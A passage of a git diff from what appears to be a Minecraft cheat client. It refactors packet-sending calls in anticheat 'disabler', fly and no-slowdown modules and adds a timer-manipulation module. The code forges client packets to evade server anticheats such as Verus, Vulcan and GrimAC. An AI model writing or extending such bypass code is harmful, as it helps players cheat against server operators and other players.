DisablerMode("VerusFix") { yaw.toFloat(), pitch.toFloat(), packet.onGround - ) + ), + false ) disabler.debugMessage("Packet C03 Spam Fix") } diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/VerusReachDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/VerusReachDisabler.kt index 91d9414..6ff9566 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/VerusReachDisabler.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/VerusReachDisabler.kt @@ -31,7 +31,7 @@ class VerusReachDisabler : DisablerMode("VerusReach") { override fun onUpdate(event: UpdateEvent) { if (SendC00value.get() && mc.thePlayer.ticksExisted % SendC00delayvalue.get() == 0) { - PacketUtils.sendPacketNoEvent(C00PacketKeepAlive()) + PacketUtils.sendPacket(C00PacketKeepAlive(),false) } disabler.debugMessage("Send C00") } diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/VerusSemiDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/VerusSemiDisabler.kt index cc2fdf7..614ed1e 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/VerusSemiDisabler.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/VerusSemiDisabler.kt @@ -27,7 +27,7 @@ class VerusSemiDisabler : DisablerMode("VerusSemi") { } override fun onDisable() { for(packet in packetBuffer) { - PacketUtils.sendPacketNoEvent(packet) + PacketUtils.sendPacket(packet,false) packetBuffer.remove(packet) } } @@ -43,7 +43,7 @@ class VerusSemiDisabler : DisablerMode("VerusSemi") { if(verus2Stat) { disabler.debugMessage("Packet C0F in ${packetBuffer.size}") for(packet in packetBuffer) { - PacketUtils.sendPacketNoEvent(packet) + PacketUtils.sendPacket(packet,false) packetBuffer.remove(packet) } diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/vulcan/VulcanCombatDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/vulcan/VulcanCombatDisabler.kt index 8e7512d..b1ee1ea 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/vulcan/VulcanCombatDisabler.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/vulcan/VulcanCombatDisabler.kt @@ -45,7 +45,7 @@ class VulcanCombatDisabler : DisablerMode("VulcanCombat") { override fun onUpdate(event: UpdateEvent) { if (runReset) { runReset = false - PacketUtils.sendPacketNoEvent(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING)) + PacketUtils.sendPacket(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING),false) } if (lagTimer.hasTimePassed(currentDelay.toLong()) && BlinkUtils.bufferSize(packetType = "C0FPacketConfirmTransaction") > currentBuffer) { updateLagTime() diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/vulcan/VulcanStrafeDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/vulcan/VulcanStrafeDisabler.kt index eb22a1e..a3d9fff 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/vulcan/VulcanStrafeDisabler.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/vulcan/VulcanStrafeDisabler.kt @@ -36,15 +36,16 @@ class VulcanStrafeDisabler : DisablerMode("VulcanStrafe") { c03Counter++ if (packet.isMoving) { if (c03Counter >= delayValue.get()) { - PacketUtils.sendPacketNoEvent( + PacketUtils.sendPacket( C07PacketPlayerDigging(C07PacketPlayerDigging.Action.STOP_DESTROY_BLOCK, - if (avoidPhaseBpValue.get()) { BlockPos.ORIGIN } else { BlockPos(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ) }, EnumFacing.DOWN) + if (avoidPhaseBpValue.get()) { BlockPos.ORIGIN } else { BlockPos(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ) }, EnumFacing.DOWN), + false ) c03Counter = 0 } else if (c03Counter == delayValue.get() - 2) { - PacketUtils.sendPacketNoEvent( + PacketUtils.sendPacket( C07PacketPlayerDigging(C07PacketPlayerDigging.Action.START_DESTROY_BLOCK, - BlockPos.ORIGIN, EnumFacing.DOWN) + BlockPos.ORIGIN, EnumFacing.DOWN),false ) } } diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/BowJump.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/BowJump.kt index 293da01..b913ccc 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/BowJump.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/BowJump.kt @@ -15,7 +15,7 @@ import net.ccbluex.liquidbounce.features.value.IntegerValue import net.ccbluex.liquidbounce.features.value.ListValue import net.ccbluex.liquidbounce.ui.font.Fonts import net.ccbluex.liquidbounce.utils.MovementUtils.strafe -import net.ccbluex.liquidbounce.utils.PacketUtils.sendPacketNoEvent +import net.ccbluex.liquidbounce.utils.PacketUtils.sendPacket import net.ccbluex.liquidbounce.utils.render.RenderUtils import net.minecraft.client.gui.ScaledResolution import net.minecraft.init.Items @@ -89,8 +89,8 @@ class BowJump : Module() { bowState = 5 } else if (lastPlayerTick == -1L) { - if (lastSlot != slot) sendPacketNoEvent(C09PacketHeldItemChange(slot)) - sendPacketNoEvent( + if (lastSlot != slot) sendPacket(C09PacketHeldItemChange(slot),false) + sendPacket( C08PacketPlayerBlockPlacement( BlockPos(-1, -1, -1), 255, @@ -98,7 +98,8 @@ class BowJump : Module() { 0f, 0f, 0f - ) + ), + false ) lastPlayerTick = mc.thePlayer.ticksExisted.toLong() @@ -109,16 +110,17 @@ class BowJump : Module() { 1 -> { val reSlot = bowSlot if (mc.thePlayer.ticksExisted - lastPlayerTick > delayBeforeLaunch.get()) { - sendPacketNoEvent(C05PacketPlayerLook(mc.thePlayer.rotationYaw, -90f, mc.thePlayer.onGround)) - sendPacketNoEvent( + sendPacket(C05PacketPlayerLook(mc.thePlayer.rotationYaw, -90f, mc.thePlayer.onGround),false) + sendPacket( C07PacketPlayerDigging( C07PacketPlayerDigging.Action.RELEASE_USE_ITEM, BlockPos.ORIGIN, EnumFacing.DOWN - ) + ), + false ) - if (lastSlot != reSlot) sendPacketNoEvent(C09PacketHeldItemChange(lastSlot)) + if (lastSlot != reSlot) sendPacket(C09PacketHeldItemChange(lastSlot),false) bowState = 2 } } diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/InvMove.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/InvMove.kt index 6453389..e3183c9 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/InvMove.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/InvMove.kt @@ -143,12 +143,12 @@ object InvMove : Module() { event.cancelEvent() - PacketUtils.sendPacketNoEvent(C16PacketClientStatus(C16PacketClientStatus.EnumState.OPEN_INVENTORY_ACHIEVEMENT)) + PacketUtils.sendPacket(C16PacketClientStatus(C16PacketClientStatus.EnumState.OPEN_INVENTORY_ACHIEVEMENT),false) packetListYes.forEach { - PacketUtils.sendPacketNoEvent(it) + PacketUtils.sendPacket(it,false) } packetListYes.clear() - PacketUtils.sendPacketNoEvent(C0DPacketCloseWindow(mc.thePlayer.inventoryContainer.windowId)) + PacketUtils.sendPacket(C0DPacketCloseWindow(mc.thePlayer.inventoryContainer.windowId),false) } } } @@ -166,7 +166,7 @@ object InvMove : Module() { blinkPacketList.add(packet) event.cancelEvent() blinkPacketList.forEach { - PacketUtils.sendPacketNoEvent(it) + PacketUtils.sendPacket(it,false) } blinkPacketList.clear() } diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/NoSlow.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/NoSlow.kt index 4086e29..6ade948 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/NoSlow.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/NoSlow.kt @@ -239,7 +239,7 @@ object NoSlow : Module() { if (getEmptySlot() != -1) { if (mc.thePlayer.ticksExisted % 3 == 0) - PacketUtils.sendPacketNoEvent( + PacketUtils.sendPacket( C08PacketPlayerBlockPlacement( BlockPos(-1, -1, -1), 1, @@ -247,7 +247,8 @@ object NoSlow : Module() { 0f, 0f, 0f - ) + ), + false ) } } @@ -292,7 +293,7 @@ object NoSlow : Module() { "uncp" -> { if (start && (shouldSwap)) { mc.netHandler.addToSendQueue(C09PacketHeldItemChange((mc.thePlayer.inventory.currentItem + 1) % 9)) - PacketUtils.sendPacketNoEvent(C08PacketPlayerBlockPlacement(BlockPos.ORIGIN, 255, mc.thePlayer.heldItem, 0f, 0f, 0f)) + PacketUtils.sendPacket(C08PacketPlayerBlockPlacement(BlockPos.ORIGIN, 255, mc.thePlayer.heldItem, 0f, 0f, 0f),false) shouldSwap = false } } @@ -392,11 +393,12 @@ object NoSlow : Module() { "UNCP" -> { if (event.eventState == EventState.POST && usingItemFunc()) { mc.netHandler.addToSendQueue(C09PacketHeldItemChange((mc.thePlayer.inventory.currentItem + 1) % 9)) - PacketUtils.sendPacketNoEvent(C08PacketPlayerBlockPlacement(BlockPos.ORIGIN, 255, mc.thePlayer.heldItem, 0f, 0f, 0f)) - PacketUtils.sendPacketNoEvent( + PacketUtils.sendPacket(C08PacketPlayerBlockPlacement(BlockPos.ORIGIN, 255, mc.thePlayer.heldItem, 0f, 0f, 0f),false) + PacketUtils.sendPacket( C08PacketPlayerBlockPlacement( BlockPos(-1, -1, -1), 255, mc.thePlayer.heldItem, 0f, 0f, 0f - ) + ), + false ) } } @@ -451,7 +453,7 @@ object NoSlow : Module() { if (getEmptySlot() != -1) { if (mc.thePlayer.ticksExisted % 3 == 0) - PacketUtils.sendPacketNoEvent(C08PacketPlayerBlockPlacement(BlockPos(-1, -1, -1), 1, null, 0f, 0f, 0f)) + PacketUtils.sendPacket(C08PacketPlayerBlockPlacement(BlockPos(-1, -1, -1), 1, null, 0f, 0f, 0f),false) } } } @@ -459,7 +461,7 @@ object NoSlow : Module() { "hypixel" -> { postPlace = false if (mc.thePlayer.ticksExisted % 3 == 0) { - PacketUtils.sendPacketNoEvent( + PacketUtils.sendPacket( C08PacketPlayerBlockPlacement( BlockPos(-1, -1, -1), EnumFacing.UP.index, @@ -467,7 +469,8 @@ object NoSlow : Module() { 0.0f, 0.0f, 0.0f - ) + ), + false ) } } @@ -513,8 +516,8 @@ object NoSlow : Module() { } "switchitem" -> { - PacketUtils.sendPacketNoEvent(C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem % 8 + 1)) - PacketUtils.sendPacketNoEvent(C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem)) + PacketUtils.sendPacket(C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem % 8 + 1),false) + PacketUtils.sendPacket(C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem),false) } "hypixelnew" -> { @@ -585,15 +588,16 @@ object NoSlow : Module() { if (msTimer.hasTimePassed(230) && nextTemp) { nextTemp = false if (modeValue.equals("GrimAC")) { - PacketUtils.sendPacketNoEvent(C09PacketHeldItemChange((mc.thePlayer.inventory.currentItem + 1) % 9)) - PacketUtils.sendPacketNoEvent(C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem)) + PacketUtils.sendPacket(C09PacketHeldItemChange((mc.thePlayer.inventory.currentItem + 1) % 9),false) + PacketUtils.sendPacket(C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem),false) } else { - PacketUtils.sendPacketNoEvent( + PacketUtils.sendPacket( C07PacketPlayerDigging( C07PacketPlayerDigging.Action.RELEASE_USE_ITEM, BlockPos(-1, -1, -1), EnumFacing.DOWN - ) + ), + false ) } if (packetBuf.isNotEmpty()) { @@ -603,7 +607,7 @@ object NoSlow : Module() { canAttack = true } if (!((packet is C02PacketUseEntity || packet is C0APacketAnimation) && !canAttack)) { - PacketUtils.sendPacketNoEvent(packet) + PacketUtils.sendPacket(packet,false) } } packetBuf.clear() @@ -614,7 +618,7 @@ object NoSlow : Module() { if (!isBlocking) { return } - PacketUtils.sendPacketNoEvent( + PacketUtils.sendPacket( C08PacketPlayerBlockPlacement( BlockPos(-1, -1, -1), 255, @@ -622,7 +626,8 @@ object NoSlow : Module() { 0f, 0f, 0f - ) + ), + false ) nextTemp = true waitC03 = false @@ -686,11 +691,12 @@ object NoSlow : Module() { if (modeValue.equals("Medusa")) { if ((mc.thePlayer.isUsingItem || mc.thePlayer.isBlocking) && sendPacket) { - PacketUtils.sendPacketNoEvent( + PacketUtils.sendPacket( C0BPacketEntityAction( mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING - ) + ), + false ) sendPacket = false } @@ -720,7 +726,7 @@ object NoSlow : Module() { if (diff <= 8) { event.cancelEvent() pendingFlagApplyPacket = false - PacketUtils.sendPacketNoEvent( + PacketUtils.sendPacket( C06PacketPlayerPosLook( packet.x, packet.y, @@ -728,7 +734,8 @@ object NoSlow : Module() { packet.getYaw(), packet.getPitch(), mc.thePlayer.onGround - ) + ), + false ) } } diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/TimeBalancer.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/TimeBalancer.kt new file mode 100644 index 0000000..8a27230 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/TimeBalancer.kt @@ -0,0 +1,140 @@ +/* + * 类似木糖醇的压缩timer,属于仿制品并且有瑕疵 + * by Pursue(193923709) + * 开源地址:https://github.com/FKtzs/Nattalie + * 群号:673246810 + */ +package net.ccbluex.liquidbounce.features.module.modules.movement + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.GameTickEvent +import net.ccbluex.liquidbounce.event.Render2DEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.render.RoundedUtil +import net.minecraft.client.gui.ScaledResolution +import net.minecraft.client.renderer.GlStateManager +import java.awt.Color + +@ModuleInfo(name = "TimerBalancer", description = "短时间内叠够足够的负数time后立刻释放", category = ModuleCategory.WORLD) +class TimeBalancer : Module() { + + private val timer = FloatValue("TimerSpeed", 4F, 0.1F, 10F) // Timer速度 + private val time = IntegerValue("TimerMaxSet", 5, 0, 30) // 等待积攒时间 + private val tie = IntegerValue("TimerSet", 5, 0, 30) // 释放时间 + + private val counter = BoolValue("Counter",true) // 渲染框架 + private val setaX = ListValue("StartXMode", arrayOf("-","+"), "-") + private val xV = IntegerValue("StartX", 75, 0, 450) + private val setY = ListValue("StartYMode", arrayOf("-","+"), "+") + private val yV = IntegerValue("StartY", 20, 0, 450) + + private val fontR = IntegerValue("FontR", 255, 0, 255) + private val fontG = IntegerValue("FontG", 255, 0, 255) + private val fontB = IntegerValue("FontB", 255, 0, 255) + private val fontA = IntegerValue("FontA", 255, 0, 255) + + private val rectangleR = IntegerValue("RectangleR", 0, 0, 255) + private val rectangleG = IntegerValue("RectangleG", 0, 0, 255) + private val rectangleB = IntegerValue("RectangleB", 0, 0, 255) + private val rectangleA = IntegerValue("RectangleA", 125, 0, 255) + + private val setFrame = ListValue("FrameMode", arrayOf("<","^"), "^") + private val frameR = IntegerValue("FrameR", 0, 0, 255) + private val frameG = IntegerValue("FrameG", 255, 0, 255) + private val frameB = IntegerValue("FrameB", 255, 0, 255) + private val frameA = IntegerValue("FrameA", 255, 0, 255) + + private var lastMS = 0L + private var s = 0 + private var m = 0 + private var timr = false + private var progress = 0f + + + override fun onEnable() { + progress = 0f + } + + override fun onDisable() { + s = 0 + m = 0 + timr = false + mc.timer.timerSpeed = 1F + } + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (timr) { + s++ + } else { + m++ + } + if (m == time.get()) { + timr = true + mc.timer.timerSpeed = timer.get() + m = 0 + s = 0 + } + if (s == tie.get()) { + timr = false + mc.timer.timerSpeed = 1F + m = 0 + s = 0 + } + } + + @EventTarget + fun onTick(event: GameTickEvent?) { + val timer = mc.timer ?: return + try { + val f = timer.javaClass.getDeclaredField("field_74277_g") + f.setAccessible(true) + val t = f[timer] as Long + f[timer] = t + 50L + } catch (e: NoSuchFieldException) { + e.printStackTrace() + } catch (e: IllegalAccessException) { + e.printStackTrace() + } + } + + @EventTarget + fun onRender2D(event: Render2DEvent) { + progress = (System.currentTimeMillis() - lastMS).toFloat() / 100f + if (progress >= 1) progress = 1f + val scaledResolution = ScaledResolution(mc) + val counterMode = counter.get() + val startX = if (setaX.get() == "-") scaledResolution.scaledWidth / 2 - xV.get() else scaledResolution.scaledWidth / 2 + xV.get() + val startY = if (setY.get() == "-") scaledResolution.scaledHeight / 2 - yV.get() else scaledResolution.scaledHeight / 2 + yV.get() + + if (counterMode) { + RenderUtils.drawShadow(startX.toFloat(), startY.toFloat(), 160f, 21f) + GlStateManager.resetColor() + + RoundedUtil.drawRound(startX.toFloat(), startY.toFloat(), 160f, 22f, 3F, Color(rectangleR.get(), rectangleG.get(), rectangleB.get(), rectangleA.get())) + when (setFrame.get().toLowerCase()) { + "^" -> { + RoundedUtil.drawRound(startX.toFloat(), startY.toFloat(), 160f, 3f, 3F, Color(frameR.get(), frameG.get(),frameB.get(), frameA.get())) + GlStateManager.resetColor() + Fonts.font40.drawString("Timer:$m ReleaseTime:$s", (startX - 4 + 36).toFloat(), (startY + 7.5).toFloat(), Color(fontR.get(),fontG.get(),fontB.get(),fontA.get()).rgb) + GlStateManager.resetColor() + } + "<" -> { + RoundedUtil.drawRound(startX.toFloat(), startY.toFloat(), 3f, 22f, 3F, Color(frameR.get(), frameG.get(),frameB.get(), frameA.get())) + GlStateManager.resetColor() + Fonts.font40.drawString("Timer:$m ReleaseTime:$s", (startX - 4 + 36).toFloat(), (startY + 6.5).toFloat(), Color(fontR.get(),fontG.get(),fontB.get(),fontA.get()).rgb) + GlStateManager.resetColor() + } + } + GlStateManager.resetColor() + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/buzz/BuzzFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/buzz/BuzzFly.kt index 15f545c..6112823 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/buzz/BuzzFly.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/buzz/BuzzFly.kt @@ -37,29 +37,32 @@ class BuzzFly : FlyMode("Buzz") { mc.thePlayer.onGround = false started = true mc.timer.timerSpeed = 0.2f - PacketUtils.sendPacketNoEvent( + PacketUtils.sendPacket( C04PacketPlayerPosition( mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true - ) + ), + false ) - PacketUtils.sendPacketNoEvent( + PacketUtils.sendPacket( C04PacketPlayerPosition( mc.thePlayer.posX, mc.thePlayer.posY - 2 + Math.random() / 2, mc.thePlayer.posZ, false - ) + ), + false ) - PacketUtils.sendPacketNoEvent( + PacketUtils.sendPacket( C04PacketPlayerPosition( mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true - ) + ), + false ) } } diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/ncp/BlockdropFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/ncp/BlockdropFly.kt index 4262ab8..bdf774f 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/ncp/BlockdropFly.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/ncp/BlockdropFly.kt @@ -39,7 +39,7 @@ class BlockdropFly : FlyMode("BlockDrop") { MovementUtils.strafe(hSpeedValue.get()) repeat(2) { - PacketUtils.sendPacketNoEvent( + PacketUtils.sendPacket( C03PacketPlayer.C06PacketPlayerPosLook( startx, starty, @@ -47,11 +47,12 @@ class BlockdropFly : FlyMode("BlockDrop") { startyaw, startpitch, true - ) + ), + false ) } repeat(2) { - PacketUtils.sendPacketNoEvent( + PacketUtils.sendPacket( C03PacketPlayer.C06PacketPlayerPosLook( mc.thePlayer.posX, mc.thePlayer.posY, @@ -59,7 +60,8 @@ class BlockdropFly : FlyMode("BlockDrop") { startyaw, startpitch, false - ) + ), + false ) } } diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/ncp/BlocksMCFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/ncp/BlocksMCFly.kt index 7eb465e..73a0b5d 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/ncp/BlocksMCFly.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/ncp/BlocksMCFly.kt @@ -42,7 +42,7 @@ class BlocksMCFly : FlyMode("BlocksMc") { if (starteds) { val pos = mc.thePlayer.position.add(0.0, -1.5, 0.0) if (mc.thePlayer.onGround) { - PacketUtils.sendPacketNoEvent( + PacketUtils.sendPacket( C08PacketPlayerBlockPlacement( pos, 1, @@ -50,12 +50,13 @@ class BlocksMCFly : FlyMode("BlocksMc") { 0.0F, 0.5F + Math.random().toFloat() * 0.44.toFloat(), 0.0F - ) + ), + false ) } if (mc.thePlayer.ticksExisted % 4 == 0) { alert("sent c08") - PacketUtils.sendPacketNoEvent( + PacketUtils.sendPacket( C08PacketPlayerBlockPlacement( pos, 1, @@ -63,7 +64,8 @@ class BlocksMCFly : FlyMode("BlocksMc") { 0.0F, 0.5F + Math.random().toFloat() * 0.44.toFloat(), 0.0F - ) + ), + false ) } MovementUtils.strafe(0.95f.let { bmcSpeed *= it; bmcSpeed }.toFloat()) diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/ncp/NCPSlimeFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/ncp/NCPSlimeFly.kt index 8623d16..0af0b15 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/ncp/NCPSlimeFly.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/ncp/NCPSlimeFly.kt @@ -74,7 +74,7 @@ class NCPSlimeFly : FlyMode("NCPSlime") { override fun onDisable() { mc.timer.timerSpeed = 1.0f for (packet in packetBuffer) { - PacketUtils.sendPacketNoEvent(packet) + PacketUtils.sendPacket(packet,false) } packetBuffer.clear() } @@ -83,7 +83,7 @@ class NCPSlimeFly : FlyMode("NCPSlime") { if(timer.hasTimePassed((Math.random() * 1000).toLong())) { timer.reset() for (packet in packetBuffer) { - PacketUtils.sendPacketNoEvent(packet) + PacketUtils.sendPacket(packet,false) } packetBuffer.clear() } diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/other/GodseyeFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/other/GodseyeFly.kt index 9f83351..4ddd8cd 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/other/GodseyeFly.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/other/GodseyeFly.kt @@ -21,7 +21,7 @@ class GodseyeFly : FlyMode("Godseye") { flag = false timer.reset() if(mc.thePlayer.onGround) { - PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY - 2 + Math.random() / 2, mc.thePlayer.posZ, false)) + PacketUtils.sendPacket(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY - 2 + Math.random() / 2, mc.thePlayer.posZ, false),false) } else { fly.state = false } @@ -44,7 +44,7 @@ class GodseyeFly : FlyMode("Godseye") { } if(timer.hasTimePassed((150 + Math.random() * 50).toLong()) && MovementUtils.isMoving) { timer.reset() - PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX , mc.thePlayer.posY , mc.thePlayer.posZ , true)) + PacketUtils.sendPacket(C04PacketPlayerPosition(mc.thePlayer.posX , mc.thePlayer.posY , mc.thePlayer.posZ , true),false) } } @@ -65,7 +65,7 @@ class GodseyeFly : FlyMode("Godseye") { if (sqrt(deltaX * deltaX + deltaY * deltaY + deltaZ * deltaZ) < 10) { event.cancelEvent() - PacketUtils.sendPacketNoEvent( + PacketUtils.sendPacket( C06PacketPlayerPosLook( packet.x, packet.y, @@ -73,7 +73,8 @@ class GodseyeFly : FlyMode("Godseye") { packet.getYaw(), packet.getPitch(), false - ) + ), + false ) } } diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/verus/VerusBasicFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/verus/VerusBasicFly.kt index 1c0c877..04d38d7 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/verus/VerusBasicFly.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/verus/VerusBasicFly.kt @@ -41,9 +41,10 @@ class VerusBasicFly : FlyMode("VerusBasic") { override fun onMove(event: MoveEvent) { if(verusMode.get() === "Packet2") { val pos = mc.thePlayer.position.add(0.0, -1.5, 0.0) - PacketUtils.sendPacketNoEvent( + PacketUtils.sendPacket( C08PacketPlayerBlockPlacement(pos, 1, - ItemStack(Blocks.stone.getItem(mc.theWorld, pos)), 0.0F, 0.5F + Math.random().toFloat() * 0.44.toFloat(), 0.0F) + ItemStack(Blocks.stone.getItem(mc.theWorld, pos)), 0.0F, 0.5F + Math.random().toFloat() * 0.44.toFloat(), 0.0F), + false ) if(mc.thePlayer.onGround && !jumped) { mc.thePlayer.jump() diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/verus/VerusBoostFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/verus/VerusBoostFly.kt index 2d2e8cf..7562f2f 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/verus/VerusBoostFly.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/verus/VerusBoostFly.kt @@ -32,9 +32,9 @@ class VerusBoostFly : FlyMode("VerusBoost") { "Boost1" -> { val speed = speedValue.get() val pos = mc.thePlayer.position.add(0.0, -1.5, 0.0) - PacketUtils.sendPacketNoEvent( + PacketUtils.sendPacket( C08PacketPlayerBlockPlacement(pos, 1, - ItemStack(Blocks.stone.getItem(mc.theWorld, pos)), 0.0F, 0.5F + Math.random().toFloat() * 0.44.toFloat(), 0.0F) + ItemStack(Blocks.stone.getItem(mc.theWorld, pos)), 0.0F, 0.5F + Math.random().toFloat() * 0.44.toFloat(), 0.0F),false ) if (ticks < 3) event.cancelEvent() @@ -56,16 +56,17 @@ class VerusBoostFly : FlyMode("VerusBoost") { } if(ticks == 3) { val pos = mc.thePlayer.position.add(0.0, -1.5, 0.0) - PacketUtils.sendPacketNoEvent( + PacketUtils.sendPacket( C08PacketPlayerBlockPlacement(pos, 1, ItemStack(Blocks.stone.getItem(mc.theWorld, pos)), 0.0F, 0.5F + Math.random().toFloat() * 0.44.toFloat(), 0.0F) + ,false ) val x = mc.thePlayer.posX val y = mc.thePlayer.posY val z = mc.thePlayer.posZ - PacketUtils.sendPacketNoEvent(C03PacketPlayer.C06PacketPlayerPosLook(x, y+3+Math.random()*0.07, z, mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch, false)) - PacketUtils.sendPacketNoEvent(C03PacketPlayer.C06PacketPlayerPosLook(x, y, z, mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch, false)) - PacketUtils.sendPacketNoEvent(C03PacketPlayer.C06PacketPlayerPosLook(x, y, z, mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch, true)) + PacketUtils.sendPacket(C03PacketPlayer.C06PacketPlayerPosLook(x, y+3+Math.random()*0.07, z, mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch, false),false) + PacketUtils.sendPacket(C03PacketPlayer.C06PacketPlayerPosLook(x, y, z, mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch, false),false) + PacketUtils.sendPacket(C03PacketPlayer.C06PacketPlayerPosLook(x, y, z, mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch, true),false) mc.timer.timerSpeed = 0.25f } if(mc.thePlayer.hurtTime > 2) { @@ -177,9 +178,9 @@ class VerusBoostFly : FlyMode("VerusBoost") { return ticks++ if(ticks == 3) { - PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,mc.thePlayer.posY+3.25,mc.thePlayer.posZ,false)) - PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,mc.thePlayer.posY,mc.thePlayer.posZ,false)) - PacketUtils.sendPacketNoEvent(C03PacketPlayer(true)) + 